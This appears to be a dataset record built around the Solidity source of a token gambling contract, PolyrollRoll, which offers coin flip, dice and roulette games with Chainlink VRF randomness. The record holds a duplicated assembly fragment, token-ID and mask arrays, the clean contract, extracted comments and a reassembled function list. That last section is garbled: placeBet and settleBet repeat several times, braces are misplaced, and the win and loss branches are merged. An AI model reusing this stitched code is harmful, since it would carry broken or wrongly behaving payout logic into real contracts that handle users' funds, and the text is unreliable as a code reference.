and( mload(add(p_tx, POSITION_RECEIVER)), MASK_STATE_INDEX ) } } function hashOf(bytes memory txs, uint256 index) internal pure returns (bytes32 result) { assembly { let p_tx := add(txs, add(mul(index, TX_LEN), 32)) result := keccak256(p_tx, RAW_TX_LEN) } } function hashOf(bytes memory txs, uint256 index) internal pure returns (bytes32 result) { assembly { let p_tx := add(txs, add(mul(index, TX_LEN), 32)) result := keccak256(p_tx, RAW_TX_LEN) } } function toLeafs(bytes memory txs) internal pure returns (bytes32[] memory) { uint256 batchSize = size(txs); bytes32[] memory buf = new bytes32[](batchSize); for (uint256 i = 0; i < batchSize; i++) { buf[i] = hashOf(txs, i); } return buf; } function toLeafs(bytes memory txs) internal pure returns (bytes32[] memory) { uint256 batchSize = size(txs); bytes32[] memory buf = new bytes32[](batchSize); for (uint256 i = 0; i < batchSize; i++) { buf[i] = hashOf(txs, i); } return buf; } }
1,074,795
[ 1, 7958, 30, 225, 306, 15330, 32, 24, 34, 96, 24454, 32, 24, 34, 96, 8949, 32, 24, 34, 65, 2254, 5034, 1071, 5381, 23211, 67, 13017, 273, 2593, 31, 2254, 5034, 1071, 5381, 23888, 67, 16556, 273, 374, 5297, 9460, 9460, 9460, 9460, 18217, 31, 2254, 5034, 1071, 5381, 23888, 67, 7998, 67, 9199, 273, 374, 28857, 31, 2254, 5034, 1071, 5381, 23888, 67, 2192, 51, 5321, 273, 374, 28857, 31, 225, 6865, 316, 1731, 2254, 5034, 1071, 5381, 26808, 67, 1090, 18556, 273, 1059, 31, 2254, 5034, 1071, 5381, 26808, 67, 27086, 45, 2204, 273, 1725, 31, 2254, 5034, 1071, 5381, 26808, 67, 2192, 51, 5321, 273, 2593, 31, 2492, 30, 306, 15330, 32, 24, 34, 96, 24454, 32, 24, 34, 96, 8949, 32, 24, 34, 96, 8195, 32, 1105, 34, 65, 6865, 316, 1731, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 6424, 288, 203, 203, 565, 2254, 5034, 1071, 5381, 29118, 67, 16556, 67, 13017, 273, 2593, 31, 203, 565, 2254, 5034, 1071, 5381, 23211, 67, 13017, 273, 22997, 31, 203, 565, 2254, 5034, 1071, 5381, 23888, 67, 16556, 273, 374, 5297, 9460, 9460, 9460, 9460, 18217, 31, 203, 565, 2254, 5034, 1071, 5381, 23888, 67, 7998, 67, 9199, 273, 374, 28857, 31, 203, 565, 2254, 5034, 1071, 5381, 23888, 67, 2192, 51, 5321, 273, 374, 28857, 31, 203, 565, 2254, 5034, 1071, 5381, 26808, 67, 1090, 18556, 273, 1059, 31, 203, 565, 2254, 5034, 1071, 5381, 26808, 67, 27086, 45, 2204, 273, 1725, 31, 203, 565, 2254, 5034, 1071, 5381, 26808, 67, 2192, 51, 5321, 273, 2593, 31, 203, 565, 2254, 5034, 1071, 5381, 26808, 67, 26587, 67, 60, 273, 13291, 31, 203, 565, 2254, 5034, 1071, 5381, 26808, 67, 26587, 67, 61, 273, 22997, 31, 203, 203, 565, 445, 4472, 12, 203, 3639, 2254, 5034, 8526, 3778, 1366, 414, 16, 203, 3639, 2254, 5034, 8526, 3778, 22686, 16, 203, 3639, 2254, 5034, 8526, 3778, 30980, 16, 203, 3639, 1731, 8526, 3778, 14862, 203, 565, 262, 2713, 16618, 1135, 261, 3890, 3778, 13, 288, 203, 3639, 2254, 5034, 16494, 273, 14862, 18, 2469, 31, 203, 3639, 2583, 12, 4661, 414, 18, 2469, 422, 16494, 16, 315, 8759, 5793, 963, 8863, 203, 3639, 2583, 12, 8606, 6760, 18, 2469, 422, 16494, 16, 315, 8759, 5971, 963, 8863, 203, 3639, 2583, 12, 8949, 87, 18, 2469, 422, 16494, 16, 315, 8759, 3844, 963, 8863, 203, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "https://github.com/smartcontractkit/chainlink/blob/0964ca290565587963cc4ad8f770274f5e0d9e9d/evm-contracts/src/v0.6/VRFConsumerBase.sol"; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.1.0/contracts/access/Ownable.sol"; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.1.0/contracts/utils/ReentrancyGuard.sol"; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.1.0/contracts/token/ERC20/SafeERC20.sol"; import "./libs/IMiner.sol"; // PolyrollRoll is the dealer of ROLL token based random number games at Polyroll.org: Coin Flip, Dice Roll, Polyroll, Roulette. /* v2 has the same logic as v1, with the following updates: - Transaction Mining: Contract is linked to TransactionMiner contract to award ROLL tokens to gamblers who lost their bets. - Referral system: Contract is linked to TransactionMiner contract to record a gambler's referrer and distribute referral fees. - Automated risk management: Dynamically computes maxProfit based on contract balance and balance-to-maxProfit ratio. - Reward Computation: Calculates txn mining reward based on rewardPct, bet amount, and probability of loss. - House edge and wealth tax are in basis points instead of percentage for fine adjustments. - betPlaced event log is more detailed to allow users to see their pending bets while waiting for them to be settled. - betSettled event log is less detailed to save gas fee paid by Chainlink VRF. Allows settleBet txn to be confirmed faster by Polygon nodes. */ contract PolyrollRoll is VRFConsumerBase, Ownable, ReentrancyGuard { using SafeERC20 for IERC20; // Import contract that governs transaction mining and referral fees IMiner public miner; // Token to be used in this game contract address public constant GAME_TOKEN = 0xC68e83a305b0FaD69E264A1769a0A070F190D2d6; // Chainlink VRF related parameters address public constant LINK_TOKEN = 0xb0897686c545045aFc77CF20eC7A532E3120E0F1; address public constant VRF_COORDINATOR = 0x3d2341ADb2D31f1c5530cDC622016af293177AE0; bytes32 public keyHash = 0xf86195cf7690c55907b2b611ebb7343a6f649bff128701cc542f0569e2c549da; uint public chainlinkFee = 100000000000000; // 0.0001 LINK uint maxReward = 20000 ether; // Each bet is deducted 100 basis points (1%) in favor of the house uint public houseEdgeBP = 100; // Modulo is the number of equiprobable outcomes in a game: // 2 for coin flip // 6 for dice roll // 36 for double dice roll // 37 for roulette // 100 for polyroll uint constant MAX_MODULO = 100; // Modulos below MAX_MASK_MODULO are checked against a bit mask, allowing betting on specific outcomes. // For example in a dice roll (modolo = 6), // 000001 mask means betting on 1. 000001 converted from binary to decimal becomes 1. // 101000 mask means betting on 4 and 6. 101000 converted from binary to decimal becomes 40. // The specific value is dictated by the fact that 256-bit intermediate // multiplication result allows implementing population count efficiently // for numbers that are up to 42 bits, and 40 is the highest multiple of eight below 42. uint constant MAX_MASK_MODULO = 40; // This is a check on bet mask overflow. Maximum mask is equivalent to number of possible binary outcomes for maximum modulo. uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; // These are constants that make O(1) population count in placeBet possible. uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; // In addition to house edge, wealth tax is added for bet amount that exceeds a multiple of wealthTaxThreshold. // For example, if wealthTaxThreshold = 200 ether and wealthTaxBP = 100, // A bet amount of 200 ether will have a wealth tax of 1% in addition to house edge. // A bet amount of 400 ether will have a wealth tax of 2% in addition to house edge. uint public wealthTaxThreshold = 2000 ether; uint public wealthTaxBP = 0; // Minimum and maximum bet amounts. uint public minBetAmount = 2 ether; uint public maxBetAmount = 10000 ether; // Balance-to-maxProfit ratio. Used to dynamically adjusts maxProfit based on balance. uint public balanceMaxProfitRatio = 24; // Funds that are locked in potentially winning bets. Prevents contract from committing to new bets that it cannot pay out. uint public lockedInBets; // Info of each bet. struct Bet { // Wager amount in wei. uint amount; // Modulo of a game. uint8 modulo; // Number of winning outcomes, used to compute winning payment (* modulo/rollUnder), // and used instead of mask for games with modulo > MAX_MASK_MODULO. uint8 rollUnder; // Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment). uint40 mask; // Block number of placeBet tx. uint placeBlockNumber; // Address of a gambler, used to pay out winning bets. address gambler; // Status of bet settlement. bool isSettled; // Outcome of bet. uint outcome; // Win amount. uint winAmount; } // Array of bets Bet[] public bets; // Mapping requestId returned by Chainlink VRF to bet Id. mapping(bytes32 => uint) public betMap; // Percentage of house edge fees to be rewarded to losing gambler. uint public rewardPct = 20; // Signed integer used for tracking house profit since inception. int public houseProfit; // Events event BetPlaced(uint indexed betId, address indexed gambler, uint amount, uint8 indexed modulo, uint8 rollUnder, uint40 mask); event BetSettled(uint indexed betId, address indexed gambler, uint amount, uint8 indexed modulo, uint8 rollUnder, uint40 mask, uint outcome, uint winAmount, uint rollReward); event BetRefunded(uint indexed betId, address indexed gambler, uint amount); // Constructor. Using Chainlink VRFConsumerBase constructor. constructor() VRFConsumerBase(VRF_COORDINATOR, LINK_TOKEN) public {} // See game token balance. function balance() external view returns (uint) { return IERC20(GAME_TOKEN).balanceOf(address(this)); } // See number of bets. function betsLength() external view returns (uint) { return bets.length; } // Returns maximum profit allowed per bet. Prevents contract from accepting any bets with potential profit exceeding maxProfit. function maxProfit() public view returns (uint) { return IERC20(GAME_TOKEN).balanceOf(address(this)) / balanceMaxProfitRatio; } // Set balance-to-maxProfit ratio. function setBalanceMaxProfitRatio(uint _balanceMaxProfitRatio) external onlyOwner { balanceMaxProfitRatio = _balanceMaxProfitRatio; } // Update Chainlink fee. function setChainlinkFee(uint _chainlinkFee) external onlyOwner { chainlinkFee = _chainlinkFee; } // Update Chainlink keyHash. Currently using keyHash with 10 block waiting time config. May configure to 64 block waiting time for more security. function setKeyHash(bytes32 _keyHash) external onlyOwner { keyHash = _keyHash; } // Set minimum bet amount. minBetAmount should be large enough such that its house edge fee can cover the Chainlink oracle fee. function setMinBetAmount(uint _minBetAmount) external onlyOwner { minBetAmount = _minBetAmount; } // Set maximum bet amount. function setMaxBetAmount(uint _maxBetAmount) external onlyOwner { maxBetAmount = _maxBetAmount; } // Set house edge. function setHouseEdgeBP(uint _houseEdgeBP) external onlyOwner { houseEdgeBP = _houseEdgeBP; } // Set wealth tax. Setting this to zero effectively disables wealth tax. function setWealthTaxBP(uint _wealthTaxBP) external onlyOwner { wealthTaxBP = _wealthTaxBP; } // Set threshold to trigger wealth tax. function setWealthTaxThreshold(uint _wealthTaxThreshold) external onlyOwner { wealthTaxThreshold = _wealthTaxThreshold; } // Set transaction mining contract address function setMiner(IMiner _miner) external onlyOwner { miner = _miner; } // Set transaction mining reward as a percentage of house edge fees. // Setting rewardPct to 100% effectively leads to an expectation value of 0. function setRewardPct(uint _rewardPct) external onlyOwner { require(_rewardPct <= 100, "rewardPct exceeds 100%"); rewardPct = _rewardPct; } // Set maximum ROLL reward that a user can receive per bet. function setMaxReward(uint _maxReward) external onlyOwner { maxReward = _maxReward; } // Place bet function placeBet(uint256 amount, uint betMask, uint modulo, address referrer) external nonReentrant { // Validate input data. require(LINK.balanceOf(address(this)) >= chainlinkFee, "Insufficient LINK token"); require(modulo > 1 && modulo <= MAX_MODULO, "Modulo not within range"); require(amount >= minBetAmount && amount <= maxBetAmount, "Bet amount not within range"); require(betMask > 0 && betMask < MAX_BET_MASK, "Mask not within range"); // Transfer game token to contract IERC20(GAME_TOKEN).safeTransferFrom(address(msg.sender), address(this), amount); // Record referrer in Miner contract if (referrer != msg.sender) { miner.recordReferrer(msg.sender, referrer); } uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { // Small modulo games can specify exact bet outcomes via bit mask. // rollUnder is a number of 1 bits in this mask (population count). // This magic looking formula is an efficient way to compute population // count on EVM for numbers below 2**40. rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; } else { // Larger modulos games specify the right edge of half-open interval of winning bet outcomes. require(betMask > 0 && betMask <= modulo, "betMask larger than modulo"); rollUnder = betMask; } // Winning amount. uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); // Enforce max profit limit. Bet will not be placed if condition is not met. require(possibleWinAmount <= amount + maxProfit(), "maxProfit violation"); // Check whether contract has enough funds to accept this bet. require(lockedInBets + possibleWinAmount <= IERC20(GAME_TOKEN).balanceOf(address(this)), "Insufficient funds"); // Update lock funds. lockedInBets += possibleWinAmount; // Request random number from Chainlink VRF. Store requestId for validation checks later. bytes32 requestId = requestRandomness(keyHash, chainlinkFee, bets.length); // Map requestId to bet ID. betMap[requestId] = bets.length; // Record bet in event logs. emit BetPlaced(bets.length, msg.sender, amount, uint8(modulo), uint8(rollUnder), uint40(mask)); // Store bet in bet list. bets.push(Bet( { amount: amount, modulo: uint8(modulo), rollUnder: uint8(rollUnder), mask: uint40(mask), placeBlockNumber: block.number, gambler: msg.sender, isSettled: false, outcome: 0, winAmount: 0 } )); } // Returns the expected win amount. function getWinAmount(uint amount, uint modulo, uint rollUnder) private view returns (uint winAmount) { require(0 < rollUnder && rollUnder <= modulo, "Win probability out of range"); uint houseEdgeFee = amount * (houseEdgeBP + getEffectiveWealthTaxBP(amount)) / 10000; winAmount = (amount - houseEdgeFee) * modulo / rollUnder; } // Get effective wealth tax for a given bet size. function getEffectiveWealthTaxBP(uint amount) private view returns (uint effectiveWealthTaxBP) { effectiveWealthTaxBP = amount / wealthTaxThreshold * wealthTaxBP; } // Expected ROLL tokens to be rewarded if lose bet. function getRollReward(uint amount, uint modulo, uint rollUnder) private view returns (uint) { // ROLL reward equals house edge fees, divided by win probability, multiplied by rewardPct. uint rollReward = amount * (houseEdgeBP + getEffectiveWealthTaxBP(amount)) / 10000 * modulo / (modulo - rollUnder) * rewardPct / 100; if (rollReward > maxReward) { rollReward = maxReward; } return rollReward; } // Callback function called by Chainlink VRF coordinator. function fulfillRandomness(bytes32 requestId, uint randomness) internal override { settleBet(requestId, randomness); } // Settle bet. Function can only be called by fulfillRandomness function, which in turn can only be called by Chainlink VRF. function settleBet(bytes32 requestId, uint randomNumber) internal nonReentrant { uint betId = betMap[requestId]; Bet storage bet = bets[betId]; uint amount = bet.amount; // Validation checks. require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); // Fetch bet parameters into local variables (to save gas). uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; // Do a roll by taking a modulo of random number. uint outcome = randomNumber % modulo; // Win amount if gambler wins this bet uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); // Roll reward if gambler loses this bet uint rollReward = getRollReward(amount, modulo, rollUnder); // Actual win amount by gambler. uint winAmount = 0; // Determine dice outcome. if (modulo <= MAX_MASK_MODULO) { // For small modulo games, check the outcome against a bit mask. if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; rollReward = 0; } } else { // For larger modulos, check inclusion into half-open interval. if (outcome < rollUnder) { winAmount = possibleWinAmount; rollReward = 0; } } // Unlock possibleWinAmount from lockedInBets, regardless of the outcome. lockedInBets -= possibleWinAmount; // Update bet records bet.isSettled = true; bet.winAmount = winAmount; bet.outcome = outcome; // Send prize to winner, add ROLL reward to loser, and update house profit. if (winAmount > 0) { houseProfit -= int(winAmount - amount); IERC20(GAME_TOKEN).safeTransfer(address(gambler), winAmount); } else { houseProfit += int(amount); miner.addReward(gambler, rollReward); } // Record bet settlement in event log. emit BetSettled(betId, gambler, amount, uint8(modulo), uint8(rollUnder), bet.mask, outcome, winAmount, rollReward); } // Owner can withdraw funds not exceeding balance minus potential win amounts by open bets. function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner { require(withdrawAmount <= IERC20(GAME_TOKEN).balanceOf(address(this)) - lockedInBets, "Withdrawal exceeds limit"); IERC20(GAME_TOKEN).safeTransfer(beneficiary, withdrawAmount); } // Owner can withdraw LINK tokens. function withdrawLink() external onlyOwner { IERC20(LINK_TOKEN).safeTransfer(owner(), IERC20(LINK_TOKEN).balanceOf(address(this))); } // Return the bet in the very unlikely scenario it was not settled by Chainlink VRF. // In case you find yourself in a situation like this, just contact Polyroll support. // However, nothing precludes you from calling this method yourself. function refundBet(uint betId) external nonReentrant { Bet storage bet = bets[betId]; uint amount = bet.amount; // Validation checks require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); require(block.number > bet.placeBlockNumber + 21600, "Wait before requesting refund"); uint possibleWinAmount = getWinAmount(amount, bet.modulo, bet.rollUnder); // Unlock possibleWinAmount from lockedInBets, regardless of the outcome. lockedInBets -= possibleWinAmount; // Update bet records bet.isSettled = true; bet.winAmount = amount; // Send the refund. IERC20(GAME_TOKEN).safeTransfer(address(bet.gambler), amount); // Record refund in event logs emit BetRefunded(betId, bet.gambler, amount); } }
/ Import contract that governs transaction mining and referral fees Token to be used in this game contract Chainlink VRF related parameters Each bet is deducted 100 basis points (1%) in favor of the house Modulo is the number of equiprobable outcomes in a game: 2 for coin flip 6 for dice roll 36 for double dice roll 37 for roulette 100 for polyroll Modulos below MAX_MASK_MODULO are checked against a bit mask, allowing betting on specific outcomes. For example in a dice roll (modolo = 6), 000001 mask means betting on 1. 000001 converted from binary to decimal becomes 1. 101000 mask means betting on 4 and 6. 101000 converted from binary to decimal becomes 40. The specific value is dictated by the fact that 256-bit intermediate multiplication result allows implementing population count efficiently for numbers that are up to 42 bits, and 40 is the highest multiple of eight below 42. This is a check on bet mask overflow. Maximum mask is equivalent to number of possible binary outcomes for maximum modulo. These are constants that make O(1) population count in placeBet possible. In addition to house edge, wealth tax is added for bet amount that exceeds a multiple of wealthTaxThreshold. For example, if wealthTaxThreshold = 200 ether and wealthTaxBP = 100, A bet amount of 200 ether will have a wealth tax of 1% in addition to house edge. A bet amount of 400 ether will have a wealth tax of 2% in addition to house edge. Minimum and maximum bet amounts. Balance-to-maxProfit ratio. Used to dynamically adjusts maxProfit based on balance. Funds that are locked in potentially winning bets. Prevents contract from committing to new bets that it cannot pay out. Info of each bet.
contract PolyrollRoll is VRFConsumerBase, Ownable, ReentrancyGuard { using SafeERC20 for IERC20; IMiner public miner; address public constant GAME_TOKEN = 0xC68e83a305b0FaD69E264A1769a0A070F190D2d6; address public constant LINK_TOKEN = 0xb0897686c545045aFc77CF20eC7A532E3120E0F1; address public constant VRF_COORDINATOR = 0x3d2341ADb2D31f1c5530cDC622016af293177AE0; bytes32 public keyHash = 0xf86195cf7690c55907b2b611ebb7343a6f649bff128701cc542f0569e2c549da; uint maxReward = 20000 ether; uint public houseEdgeBP = 100; uint constant MAX_MODULO = 100; uint constant MAX_MASK_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; uint public wealthTaxThreshold = 2000 ether; uint public wealthTaxBP = 0; uint public minBetAmount = 2 ether; uint public maxBetAmount = 10000 ether; uint public balanceMaxProfitRatio = 24; uint public lockedInBets; v2 has the same logic as v1, with the following updates: struct Bet { uint amount; uint8 modulo; uint8 rollUnder; uint40 mask; uint placeBlockNumber; address gambler; bool isSettled; uint outcome; uint winAmount; } event BetSettled(uint indexed betId, address indexed gambler, uint amount, uint8 indexed modulo, uint8 rollUnder, uint40 mask, uint outcome, uint winAmount, uint rollReward); event BetRefunded(uint indexed betId, address indexed gambler, uint amount); Bet[] public bets; mapping(bytes32 => uint) public betMap; uint public rewardPct = 20; int public houseProfit; event BetPlaced(uint indexed betId, address indexed gambler, uint amount, uint8 indexed modulo, uint8 rollUnder, uint40 mask); constructor() VRFConsumerBase(VRF_COORDINATOR, LINK_TOKEN) public {} function balance() external view returns (uint) { return IERC20(GAME_TOKEN).balanceOf(address(this)); } function betsLength() external view returns (uint) { return bets.length; } function maxProfit() public view returns (uint) { return IERC20(GAME_TOKEN).balanceOf(address(this)) / balanceMaxProfitRatio; } function setBalanceMaxProfitRatio(uint _balanceMaxProfitRatio) external onlyOwner { balanceMaxProfitRatio = _balanceMaxProfitRatio; } function setChainlinkFee(uint _chainlinkFee) external onlyOwner { chainlinkFee = _chainlinkFee; } function setKeyHash(bytes32 _keyHash) external onlyOwner { keyHash = _keyHash; } function setMinBetAmount(uint _minBetAmount) external onlyOwner { minBetAmount = _minBetAmount; } function setMaxBetAmount(uint _maxBetAmount) external onlyOwner { maxBetAmount = _maxBetAmount; } function setHouseEdgeBP(uint _houseEdgeBP) external onlyOwner { houseEdgeBP = _houseEdgeBP; } function setWealthTaxBP(uint _wealthTaxBP) external onlyOwner { wealthTaxBP = _wealthTaxBP; } function setWealthTaxThreshold(uint _wealthTaxThreshold) external onlyOwner { wealthTaxThreshold = _wealthTaxThreshold; } function setMiner(IMiner _miner) external onlyOwner { miner = _miner; } function setRewardPct(uint _rewardPct) external onlyOwner { require(_rewardPct <= 100, "rewardPct exceeds 100%"); rewardPct = _rewardPct; } function setMaxReward(uint _maxReward) external onlyOwner { maxReward = _maxReward; } function placeBet(uint256 amount, uint betMask, uint modulo, address referrer) external nonReentrant { require(LINK.balanceOf(address(this)) >= chainlinkFee, "Insufficient LINK token"); require(modulo > 1 && modulo <= MAX_MODULO, "Modulo not within range"); require(amount >= minBetAmount && amount <= maxBetAmount, "Bet amount not within range"); require(betMask > 0 && betMask < MAX_BET_MASK, "Mask not within range"); IERC20(GAME_TOKEN).safeTransferFrom(address(msg.sender), address(this), amount); if (referrer != msg.sender) { miner.recordReferrer(msg.sender, referrer); } uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; require(betMask > 0 && betMask <= modulo, "betMask larger than modulo"); rollUnder = betMask; } { amount: amount, modulo: uint8(modulo), rollUnder: uint8(rollUnder), mask: uint40(mask), placeBlockNumber: block.number, gambler: msg.sender, isSettled: false, outcome: 0, winAmount: 0 } )); } function placeBet(uint256 amount, uint betMask, uint modulo, address referrer) external nonReentrant { require(LINK.balanceOf(address(this)) >= chainlinkFee, "Insufficient LINK token"); require(modulo > 1 && modulo <= MAX_MODULO, "Modulo not within range"); require(amount >= minBetAmount && amount <= maxBetAmount, "Bet amount not within range"); require(betMask > 0 && betMask < MAX_BET_MASK, "Mask not within range"); IERC20(GAME_TOKEN).safeTransferFrom(address(msg.sender), address(this), amount); if (referrer != msg.sender) { miner.recordReferrer(msg.sender, referrer); } uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; require(betMask > 0 && betMask <= modulo, "betMask larger than modulo"); rollUnder = betMask; } { amount: amount, modulo: uint8(modulo), rollUnder: uint8(rollUnder), mask: uint40(mask), placeBlockNumber: block.number, gambler: msg.sender, isSettled: false, outcome: 0, winAmount: 0 } )); } function placeBet(uint256 amount, uint betMask, uint modulo, address referrer) external nonReentrant { require(LINK.balanceOf(address(this)) >= chainlinkFee, "Insufficient LINK token"); require(modulo > 1 && modulo <= MAX_MODULO, "Modulo not within range"); require(amount >= minBetAmount && amount <= maxBetAmount, "Bet amount not within range"); require(betMask > 0 && betMask < MAX_BET_MASK, "Mask not within range"); IERC20(GAME_TOKEN).safeTransferFrom(address(msg.sender), address(this), amount); if (referrer != msg.sender) { miner.recordReferrer(msg.sender, referrer); } uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; require(betMask > 0 && betMask <= modulo, "betMask larger than modulo"); rollUnder = betMask; } { amount: amount, modulo: uint8(modulo), rollUnder: uint8(rollUnder), mask: uint40(mask), placeBlockNumber: block.number, gambler: msg.sender, isSettled: false, outcome: 0, winAmount: 0 } )); } } else { uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); require(possibleWinAmount <= amount + maxProfit(), "maxProfit violation"); require(lockedInBets + possibleWinAmount <= IERC20(GAME_TOKEN).balanceOf(address(this)), "Insufficient funds"); lockedInBets += possibleWinAmount; bytes32 requestId = requestRandomness(keyHash, chainlinkFee, bets.length); betMap[requestId] = bets.length; emit BetPlaced(bets.length, msg.sender, amount, uint8(modulo), uint8(rollUnder), uint40(mask)); bets.push(Bet( function placeBet(uint256 amount, uint betMask, uint modulo, address referrer) external nonReentrant { require(LINK.balanceOf(address(this)) >= chainlinkFee, "Insufficient LINK token"); require(modulo > 1 && modulo <= MAX_MODULO, "Modulo not within range"); require(amount >= minBetAmount && amount <= maxBetAmount, "Bet amount not within range"); require(betMask > 0 && betMask < MAX_BET_MASK, "Mask not within range"); IERC20(GAME_TOKEN).safeTransferFrom(address(msg.sender), address(this), amount); if (referrer != msg.sender) { miner.recordReferrer(msg.sender, referrer); } uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; require(betMask > 0 && betMask <= modulo, "betMask larger than modulo"); rollUnder = betMask; } { amount: amount, modulo: uint8(modulo), rollUnder: uint8(rollUnder), mask: uint40(mask), placeBlockNumber: block.number, gambler: msg.sender, isSettled: false, outcome: 0, winAmount: 0 } )); } function getWinAmount(uint amount, uint modulo, uint rollUnder) private view returns (uint winAmount) { require(0 < rollUnder && rollUnder <= modulo, "Win probability out of range"); uint houseEdgeFee = amount * (houseEdgeBP + getEffectiveWealthTaxBP(amount)) / 10000; winAmount = (amount - houseEdgeFee) * modulo / rollUnder; } function getEffectiveWealthTaxBP(uint amount) private view returns (uint effectiveWealthTaxBP) { effectiveWealthTaxBP = amount / wealthTaxThreshold * wealthTaxBP; } function getRollReward(uint amount, uint modulo, uint rollUnder) private view returns (uint) { uint rollReward = amount * (houseEdgeBP + getEffectiveWealthTaxBP(amount)) / 10000 * modulo / (modulo - rollUnder) * rewardPct / 100; if (rollReward > maxReward) { rollReward = maxReward; } return rollReward; } function getRollReward(uint amount, uint modulo, uint rollUnder) private view returns (uint) { uint rollReward = amount * (houseEdgeBP + getEffectiveWealthTaxBP(amount)) / 10000 * modulo / (modulo - rollUnder) * rewardPct / 100; if (rollReward > maxReward) { rollReward = maxReward; } return rollReward; } function fulfillRandomness(bytes32 requestId, uint randomness) internal override { settleBet(requestId, randomness); } function settleBet(bytes32 requestId, uint randomNumber) internal nonReentrant { uint betId = betMap[requestId]; Bet storage bet = bets[betId]; uint amount = bet.amount; require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; uint outcome = randomNumber % modulo; uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); uint rollReward = getRollReward(amount, modulo, rollUnder); uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; rollReward = 0; } if (outcome < rollUnder) { winAmount = possibleWinAmount; rollReward = 0; } } bet.winAmount = winAmount; bet.outcome = outcome; if (winAmount > 0) { houseProfit -= int(winAmount - amount); IERC20(GAME_TOKEN).safeTransfer(address(gambler), winAmount); houseProfit += int(amount); miner.addReward(gambler, rollReward); } } function settleBet(bytes32 requestId, uint randomNumber) internal nonReentrant { uint betId = betMap[requestId]; Bet storage bet = bets[betId]; uint amount = bet.amount; require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; uint outcome = randomNumber % modulo; uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); uint rollReward = getRollReward(amount, modulo, rollUnder); uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; rollReward = 0; } if (outcome < rollUnder) { winAmount = possibleWinAmount; rollReward = 0; } } bet.winAmount = winAmount; bet.outcome = outcome; if (winAmount > 0) { houseProfit -= int(winAmount - amount); IERC20(GAME_TOKEN).safeTransfer(address(gambler), winAmount); houseProfit += int(amount); miner.addReward(gambler, rollReward); } } function settleBet(bytes32 requestId, uint randomNumber) internal nonReentrant { uint betId = betMap[requestId]; Bet storage bet = bets[betId]; uint amount = bet.amount; require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; uint outcome = randomNumber % modulo; uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); uint rollReward = getRollReward(amount, modulo, rollUnder); uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; rollReward = 0; } if (outcome < rollUnder) { winAmount = possibleWinAmount; rollReward = 0; } } bet.winAmount = winAmount; bet.outcome = outcome; if (winAmount > 0) { houseProfit -= int(winAmount - amount); IERC20(GAME_TOKEN).safeTransfer(address(gambler), winAmount); houseProfit += int(amount); miner.addReward(gambler, rollReward); } } } else { function settleBet(bytes32 requestId, uint randomNumber) internal nonReentrant { uint betId = betMap[requestId]; 